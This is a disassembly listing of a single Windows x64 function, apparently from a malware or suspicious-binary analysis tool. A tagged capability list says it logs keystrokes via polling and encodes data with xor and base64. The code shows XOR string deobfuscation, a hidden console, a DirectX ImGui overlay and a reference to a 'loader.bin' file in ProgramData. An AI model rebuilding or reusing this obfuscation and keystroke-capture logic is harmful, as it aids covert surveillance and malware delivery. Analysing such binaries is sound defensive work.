Function at 0x14004d740
Capabilities:
Encode data using base64
Encode data using xor
Generate random numbers using a mersenne twister
Log keystrokes via polling
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x2638]
mov eax, 0x2738
call fcn.1400c1a30
sub rsp, rax
mov rax, qword [0x1400fa080]
xor rax, rsp
mov qword [rbp + 0x2580], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x24d4], 0xffffffff
mov edx, 1
mov dword [rbp + 0x1154], eax
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x1154], eax
inc rdx
cmp rdx, 0x270
jb 0x14004d790
xor edi, edi
mov dword [rbp + 0x1150], 0x270
xorps xmm0, xmm0
mov qword [rbp + 0xf90], rdi
mov esi, 5
mov qword [rbp + reloc.WS2_32.dll_ntohs98], 0xf
movups xmmword [rbp + 0xf80], xmm0
mov byte [rbp + 0xf80], dil
mov ebx, esi
nop dword [rax + rax]
lea rcx, [rbp + 0x1150]
call fcn.1400594a0
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x15
ja 0x14004d828
nop dword [rax + rax]
lea rcx, [rbp + 0x1150]
call fcn.1400594a0
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x16
jb 0x14004d810
mov rcx, qword [rbp + 0xf90]
mov rdx, qword [rbp + 0xf98]
shr r9, 0x20
add r9b, 0x61
cmp rcx, rdx
jae 0x14004d86c
lea rax, [rcx + 1]
cmp rdx, 0x10
mov qword [rbp + 0xf90], rax
lea rax, [rbp + 0xf80]
cmovae rax, qword [rbp + 0xf80]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], dil
jmp 0x14004d87f
xor r8d, r8d
lea rcx, [rbp + 0xf80]
lea edx, [r8 + 1]
call fcn.140058c90
sub rbx, 1
jne 0x14004d7f0
mov qword [rsp + 0x2760], r12
lea rax, [0x140056b00]
mov qword [rsp + 0x2768], r13
xor ecx, ecx
mov qword [rsp + 0x2770], r14
mov qword [rsp + 0x2730], r15
movaps xmmword [rsp + 0x2720], xmm6
movaps xmmword [rsp + 0x2710], xmm7
movaps xmmword [rsp + 0x2700], xmm8
movaps xmmword [rsp + 0x26f0], xmm9
movaps xmmword [rsp + 0x26e0], xmm10
movaps xmmword [rsp + 0x26d0], xmm11
movaps xmmword [rsp + 0x26c0], xmm12
movaps xmmword [rsp + 0x26b0], xmm13
movaps xmmword [rsp + 0x26a0], xmm14
movaps xmmword [rsp + 0x2690], xmm15
mov dword [rbp + 0xf30], 0x50
mov dword [rbp + 0xf34], 0x40
mov qword [rbp + 0xf38], rax
mov qword [rbp + 0xf40], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp qword [rbp + 0xf98], 0x10
lea rcx, [rbp + 0xf30]
mov qword [rbp + 0xf48], rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf50], xmm0
lea rax, [rbp + 0xf80]
movdqu xmmword [rbp + 0xf60], xmm1
cmovae rax, qword [rbp + 0xf80]
mov qword [rbp + 0xf70], rax
mov qword [rbp + 0xf78], rdi
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rax, qword [rbp + 0xf48]
lea r8, [rbp + 0xf80]
cmp qword [rbp + 0xf98], 0x10
mov r9d, 0x80000000
mov rdx, qword [rbp + 0xf70]
cmovae r8, qword [rbp + 0xf80]
xor ecx, ecx
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x7b0], rax
mov rbx, rax
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x140100150], rax
mov rcx, rax
test rax, rax
je 0x140056374
mov qword [0x140100100], rdi
xor edx, edx
mov qword [0x14010010c], rdi
mov r9, rbx
mov dword [0x140100114], edi
mov qword [0x14010011c], rdi
mov dword [0x140100124], edi
lea r8d, [rdx + 1]
mov qword [0x140100134], rdi
mov dword [0x140100128], 1
mov dword [0x140100118], 1
mov dword [0x140100108], edi
mov dword [0x14010012c], 1
mov dword [0x140100130], 0x50
mov dword [0x14010013c], 1
mov rax, qword [rax]
mov r10, qword [rax + 0x80]
lea rax, [0x140100148]
mov qword [rsp + 0x30], rax
lea rax, [0x140100100]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
call r10
test eax, eax
js 0x14005636d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x900], xmm0
mov qword [rbp + 0x930], rax
mov eax, 0xffff
movups xmmword [rbp + 0x8c0], xmm0
mov word [rbp + 0x904], ax
mov rax, qword [0x1401000f0]
mov dword [rbp + 0x8c8], esi
mov dword [rbp + 0x8cc], esi
mov dword [rbp + 0x900], 0x3f99999a
movups xmmword [rbp + 0x8b0], xmm0
mov byte [rbp + 0x8bc], 1
movups xmmword [rbp + 0x8d0], xmm0
mov byte [rbp + 0x8d0], dil
movups xmmword [rbp + 0x8f0], xmm0
mov dword [rbp + 0x8f4], 0x7f7fffff
movups xmmword [rbp + 0x8e0], xmm0
movups xmmword [rbp + 0x910], xmm0
movups xmmword [rbp + 0x920], xmm0
movss xmm0, dword [0x1400e7de0]
movss dword [rbp + 0x1ac], xmm0
test rax, rax
je 0x14004db72
inc dword [rax + 0x3b0]
mov ecx, 0x40b0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x14004db8e
xor edx, edx
mov rcx, rax
call fcn.1400020b0
jmp 0x14004db91
mov rax, rdi
cmp qword [0x1401000f0], rdi
jne 0x14004dba1
mov qword [0x1401000f0], rax
mov rcx, rax
call fcn.140008d80
mov r14, qword [0x1401000f0]
mov ecx, edi
movups xmm0, xmmword [str.v_fkoPT_SJMc]
mov eax, dword [0x1400e78b8]
mov r15d, Ordinal_33
mov qword [rbp + 0x2c0], r14
mov qword [r14 + 0x20], rdi
or dword [r14 + 8], 0x400
mov r10, qword [r14 + 0xa8]
mov r13d, dword [reloc.WS2_32.dll_accept]
mov dword [rbp + 0x738], eax
movzx eax, byte [0x1400e78bc]
mov byte [rbp + 0x73c], al
movups xmmword [rbp + 0x720], xmm0
movsd xmm0, qword [0x1400e78b0]
movsd qword [rbp + 0x730], xmm0
cmp r13d, 2
jl 0x14004dd7f
movdqa xmm0, xmmword [str.5555555555555555]
lea rdx, [rbp + 0x724]
movdqa xmm5, xmmword [0x1400e7eb0]
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov r8d, dword [rbp - 0x80]
movd xmm6, esi
movd xmm8, r15d
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x14004dc60
cmp ecx, 0x1d
jl 0x14004dd7f
movss xmm6, dword [0x1400e7cf8]
movss dword [rbp + 0xf8], xmm6
movaps xmm2, xmm6
jmp 0x14004ddd2
movsxd rax, ecx
lea r8, [rbp + 0x720]
add r8, rax
nop dword [rax]
mov eax, 0x8d3dcb09
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
inc ecx
sub al, dl
add al, 0x35
xor byte [r8 - 1], al
cmp ecx, 0x1d
jl 0x14004dd90
movss xmm0, dword [0x1400e7cf8]
movss dword [rbp + 0xf8], xmm0
movaps xmm2, xmm0
lea r9, [rbp + 0x8b0]
mov rcx, r10
lea rdx, [rbp + 0x720]
call fcn.140030920
mov r10, qword [r14 + 0xa8]
mov ecx, edi
mov eax, dword [0x1400e78b8]
mov r11, r10
mov dword [rbp + 0x1d8], eax
movzx eax, byte [0x1400e78bc]
mov byte [rbp + 0x1dc], al
movups xmm0, xmmword [str.v_fkoPT_SJMc]
movups xmmword [rbp + 0x1c0], xmm0
movsd xmm0, qword [0x1400e78b0]
movsd qword [rbp + 0x1d0], xmm0
cmp r13d, 2
jl 0x14004dfc0
movdqa xmm0, xmmword [str.5555555555555555]
lea rdx, [rbp + 0x1c4]
movdqa xmm5, xmmword [0x1400e7eb0]
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov r8d, dword [rbp - 0x80]
movd xmm6, esi
movd xmm8, r15d
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x14004de70
cmp ecx, 0x1d
jl 0x14004dfc0
movss xmm2, dword [0x1400e7d00]
lea r9, [rbp + 0x8b0]
lea rdx, [rbp + 0x1c0]
mov rcx, r10
call fcn.140030920
mov r10, qword [r14 + 0xa8]
mov r12, rax
mov ecx, dword [0x1400e78b8]
mov dword [rbp + 0x1f8], ecx
movzx ecx, byte [0x1400e78bc]
mov byte [rbp + 0x1fc], cl
jmp 0x14004e040
movsxd rax, ecx
lea r8, [rbp + 0x1c0]
add r8, rax
nop dword [rax]
mov eax, 0x8d3dcb09
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
inc ecx
sub al, dl
add al, 0x35
xor byte [r8 - 1], al
cmp ecx, 0x1d
jl 0x14004dfd0
movss xmm2, dword [0x1400e7d00]
lea r9, [rbp + 0x8b0]
lea rdx, [rbp + 0x1c0]
mov rcx, r11
call fcn.140030920
mov r10, qword [r14 + 0xa8]
mov r12, rax
mov eax, dword [0x1400e78b8]
mov dword [rbp + 0x1f8], eax
movzx eax, byte [0x1400e78bc]
mov byte [rbp + 0x1fc], al
mov r8d, edi
movups xmm0, xmmword [str.v_fkoPT_SJMc]
movups xmmword [rbp + 0x1e0], xmm0
movsd xmm0, qword [0x1400e78b0]
movsd qword [rbp + 0x1f0], xmm0
cmp r13d, 2
jl 0x14004e1bd
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x1e4]
movdqa xmm5, xmmword [0x1400e7eb0]
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm6, esi
movd xmm8, r15d
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14004e0b0
cmp r8d, 0x1d
jge 0x14004e204
movsxd rax, r8d
lea r9, [rbp + 0x1e0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x14004e1d0
movss xmm2, dword [0x1400e7cf4]
lea r9, [rbp + 0x8b0]
lea rdx, [rbp + 0x1e0]
mov rcx, r10
call fcn.140030920
mov rcx, qword [0x1401000f0]
mov r15, rax
movaps xmm11, xmmword [0x1400e7fd0]
xorps xmm12, xmm12
mov qword [rbp + 0x5a0], rdi
mov dword [rbp + 0x5a8], edi
mov qword [rcx + 0x163c], rdi
mov dword [rcx + 0x1644], edi
mov dword [rcx + 0x1648], 0x3f800000
mov dword [rcx + 0x1670], 0x40a00000
mov qword [rcx + 0x1674], 0x40a00000
mov dword [rcx + 0x167c], edi
mov dword [rcx + 0x1660], edi
mov dword [rbp + 0x5ac], 0x3f800000
movups xmm0, xmmword [rbp + 0x5a0]
mov qword [rbp + 0x2c8], rax
movups xmmword [rcx + 0x171c], xmm0
mov qword [rcx + 0x172c], rdi
mov qword [rcx + 0x1734], rdi
movaps xmm1, xmmword [0x1400e7fd0]
movaps xmm0, xmmword [0x1400e7f80]
movups xmmword [rcx + 0x174c], xmm0
movaps xmm0, xmmword [0x1400e7f70]
movups xmmword [rcx + 0x16fc], xmm1
movups xmmword [rcx + 0x176c], xmm0
movups xmmword [rcx + 0x177c], xmm1
movups xmmword [rcx + 0x178c], xmm1
movups xmmword [rcx + 0x184c], xmm1
movaps xmm0, xmm1
movaps xmm1, xmmword [0x1400e7fb0]
movaps xmm0, xmmword [0x1400e7fc0]
movups xmmword [rcx + 0x185c], xmm0
movaps xmm0, xmmword [0x1400e7f60]
movups xmmword [rcx + 0x186c], xmm1
movaps xmm1, xmmword [0x1400e7f50]
movups xmmword [rcx + 0x181c], xmm0
movups xmmword [rcx + 0x173c], xmm1
mov qword [rcx + 0x1a5c], rdi
mov dword [rcx + 0x1a64], edi
mov dword [rcx + 0x1a68], 0x3f4ccccd
mov qword [rcx + 0x1a4c], rdi
mov dword [rcx + 0x1a54], edi
mov dword [rcx + 0x1a58], 0x3f4ccccd
mov qword [rcx + 0x1a3c], rdi
mov dword [rcx + 0x1a44], edi
mov dword [rcx + 0x1a48], 0x3f4ccccd
movaps xmm0, xmmword [0x1400e7fd0]
movups xmmword [rcx + 0x179c], xmm0
movups xmmword [rcx + 0x17bc], xmm0
movups xmmword [rcx + 0x17ac], xmm0
mov rcx, rbx
movaps xmm1, xmm0
call fcn.140036940
mov rcx, qword [0x140100148]
lea rax, str.imgui_impl_dx9
mov rbx, qword [0x1401000f0]
mov qword [0x140100550], rcx
mov qword [rbx + 0xe8], rax
or dword [rbx + 0xc], 0x1008
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
test dword [rbx + 8], 0x400
je 0x14004e416
mov rax, qword [0x1401000f0]
lea rcx, [fcn.140036610]
mov qword [rax + 0x15f0], rcx
lea rcx, [fcn.1400366e0]
mov qword [rax + 0x15f8], rcx
lea rcx, [0x140036760]
mov qword [rax + 0x1600], rcx
lea rcx, [0x1400367c0]
mov qword [rax + 0x1608], rcx
lea rcx, [0x140036910]
mov qword [rax + 0x1610], rcx
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x10a0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x10a8]
lea rdx, str.C:ProgramDataloader.bin
add eax, 0xfffffda8
lea rcx, [rbp + 0x758]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [0x140100180], xmm0
movd xmm6, eax
mov eax, dword [rbp + 0x10ac]
add eax, 0xfffffe48
cvtdq2ps xmm6, xmm6
movd xmm7, eax
xor eax, eax
mulss xmm6, dword [0x1400e7c38]
mov qword [0x140100190], rax
cvtdq2ps xmm7, xmm7
lea r8d, [rax + 0x19]
mov word [0x140100198], ax
mov byte [0x14010019a], al
mov qword [0x140100168], rax
mov word [0x140100170], ax
movss dword [rbp + 0x1b4], xmm6
mulss xmm7, dword [0x1400e7c38]
mov byte [0x140100172], al
movups xmmword [0x140100158], xmm0
movss dword [rbp + 0x1b8], xmm7
movups xmmword [rbp + 0x758], xmm0
movdqu xmmword [rbp + 0x768], xmm1
call fcn.140058850
lea rdx, [rbp + 0x758]
call fcn.14004a0d0
mov rdx, qword [rbp + 0x770]
cmp rdx, 0x10
jb 0x14004e521
mov rcx, qword [rbp + 0x758]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e51c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
movdqa xmm0, xmmword [0x1400e7e60]
movdqu xmmword [rbp + 0x768], xmm0
mov byte [rbp + 0x758], dil
call fcn.14005b8d0
lea rcx, [0x140100260]
call fcn.140069580
cmp byte [0x140100470], dil
jne 0x14004e55b
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movss xmm14, dword [0x1400e7d14]
lea rsi, [0x140000000]
movss xmm15, dword [0x1400e7d78]
xorps xmm0, xmm0
movss xmm13, dword [0x1400e7d9c]
movups xmmword [rbp + 0x10e0], xmm0
movups xmmword [rbp + 0x10f0], xmm0
movups xmmword [rbp + 0x1100], xmm0
movss xmm0, dword [0x1400e7d7c]
movss dword [rbp + 0x190], xmm0
movss xmm0, dword [0x1400e7cec]
movss dword [rbp + 0x194], xmm0
movss xmm0, dword [0x1400e7dc0]
movss dword [rbp + 0x198], xmm0
movss xmm0, dword [0x1400e7ce0]
movss dword [rbp + 0x19c], xmm0
movss xmm0, dword [0x1400e7d04]
movss dword [rbp + 0x1b0], xmm0
movss xmm0, dword [0x1400e7d3c]
movss dword [rbp + 0x1a0], xmm0
movss xmm0, dword [0x1400e7d44]
movss dword [rbp + 0xfc], xmm0
movss xmm0, dword [0x1400e7d50]
movss dword [rbp + 0x1a4], xmm0
movss xmm0, dword [0x1400e7db0]
movss dword [rbp + 0x1a8], xmm0
movsd xmm0, qword [0x1400e7c90]
movsd qword [rbp + 0x750], xmm0
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x10e0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14004e680
lea rcx, [rbp + 0x10e0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x10e0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x1400561dc
cmp qword [0x140100540], 0
jne 0x14004e68f
call fcn.1400364a0
mov rcx, qword [0x140100580]
lea rdx, [rbp + 0xf20]
mov rbx, qword [0x1401000f0]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf20], xmm0
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0xf28]
sub eax, dword [rbp + 0xf20]
movd xmm1, eax
mov eax, dword [rbp + 0xf2c]
sub eax, dword [rbp + 0xf24]
cmp byte [reloc.WS2_32.dll_accept], 0
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x10], xmm1
movss dword [rbx + 0x14], xmm0
je 0x14004e742
mov rdi, qword [0x1401000f0]
mov ecx, dword [rdi + 0x161c]
test ecx, ecx
jns 0x14004e71b
mov eax, ecx
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, ecx
lea rcx, [rdi + 0x1618]
test eax, eax
cmovg edx, eax
call fcn.140023cf0
xor r9d, r9d
mov dword [rdi + 0x1618], 0
lea r8, [0x140037380]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
xor edi, edi
mov byte [reloc.WS2_32.dll_accept], 0
lea rcx, [rbp + 0xfa0]
mov qword [rbp + 0xfa0], rdi
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp + 0xfa0]
xorps xmm1, xmm1
sub rax, qword [0x140100588]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x140100590]
mov ecx, reloc.WS2_32.dll_recvfrom
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rbx + 0x18], xmm1
mov rax, qword [rbp + 0xfa0]
mov qword [0x140100588], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_recv
and al, 1
mov byte [rbx + 0x13c], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_select
and al, 1
mov byte [rbx + 0x13d], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13e], al
mov byte [rbx + 0x13f], 0
call fcn.140036eb0
cmp byte [rbx + 0xcf], 0
je 0x14004e7ed
mov eax, 0xffffffff
jmp 0x14004e7fa
mov rax, qword [0x1401000f0]
mov eax, dword [rax + 0x20d0]
cmp dword [reloc.WS2_32.dll_htons], eax
je 0x14004e80d
mov dword [reloc.WS2_32.dll_htons], eax
call fcn.140036d30
call fcn.1400370b0
call fcn.140007a60
mov rcx, qword [0x1401000f0]
lea rdx, [0x1400fa35f]
movaps xmm0, xmm6
movaps xmm1, xmm12
unpcklps xmm0, xmm7
mov r8d, 0x149
unpcklps xmm1, xmm12
movsd qword [rcx + 0x1dd4], xmm0
movsd qword [rcx + 0x1ddc], xmm1
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
or dword [rcx + 0x1dc0], 3
mov dword [rcx + 0x1de4], 0x44160000
mov dword [rcx + 0x1de8], 0x43dc0000
mov dword [rcx + 0x1dc8], 1
or dword [rcx + 0x1dc0], 0x40
mov dword [rcx + 0x1e20], 0x3f800000
lea rcx, [rbp + 0xf80]
cmp qword [rbp + 0xf98], 0x10
cmovae rcx, qword [rbp + 0xf80]
call fcn.14000e080
cmp qword [0x1401001e0], 0
jne 0x14004e91c
mov rcx, qword [0x140100148]
lea rax, [0x1401001e0]
mov qword [rsp + 0x70], rax
lea rdx, [0x1400fa370]
mov qword [rsp + 0x68], rdi
mov r9d, 0x2d0
mov qword [rsp + 0x60], rdi
mov r8d, 0x4aee
mov dword [rsp + 0x58], edi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x2d0
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1401001d8], 0
jne 0x14004e98c
mov rcx, qword [0x140100148]
lea rax, [0x1401001d8]
mov qword [rsp + 0x70], rax
lea rdx, [0x1400fa0c0]
mov qword [rsp + 0x68], rdi
mov r9d, Ordinal_27
mov qword [rsp + 0x60], rdi
mov r8d, 0x29f
mov dword [rsp + 0x58], edi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_27
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
mov rcx, qword [0x1401000f0]
movss xmm0, dword [0x140100178]
addss xmm0, dword [rcx + 0x18]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp + 0x5b0]
movss dword [0x140100178], xmm0
mov rbx, qword [rax + 0x2f8]
movsd xmm9, qword [rax + 0x50]
movss xmm6, dword [rax + 0x58]
movups xmmword [rbp + 0x5b0], xmm11
call fcn.140003a00
movsd qword [rbp - 0x80], xmm9
lea r8, [rbp + 0x3c0]
movss xmm10, dword [rbp - 0x7c]
lea rdx, [rbp - 0x80]
movaps xmm1, xmm10
mov dword [rsp + 0x28], edi
movaps xmm0, xmm9
movss dword [rsp + 0x20], xmm12
addss xmm1, xmm14
mov r9d, eax
addss xmm0, xmm6
mov rcx, rbx
movss dword [rbp + 0x3c4], xmm1
movss dword [rbp + 0x3c0], xmm0
call fcn.14002f6b0
cmp byte [0x1400e7a6b], 0
movups xmm0, xmmword [str.qnesj]
mov eax, dword [0x1400e7a68]
mov dword [rbp + 0x558], eax
movups xmmword [rbp + 0x540], xmm0
movsd xmm0, qword [0x1400e7a60]
movsd qword [rbp + 0x550], xmm0
je 0x14004ec14
mov r8d, edi
cmp r13d, 2
jl 0x14004ebcd
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x544]
movdqa xmm5, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm6, eax
mov eax, Ordinal_33
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
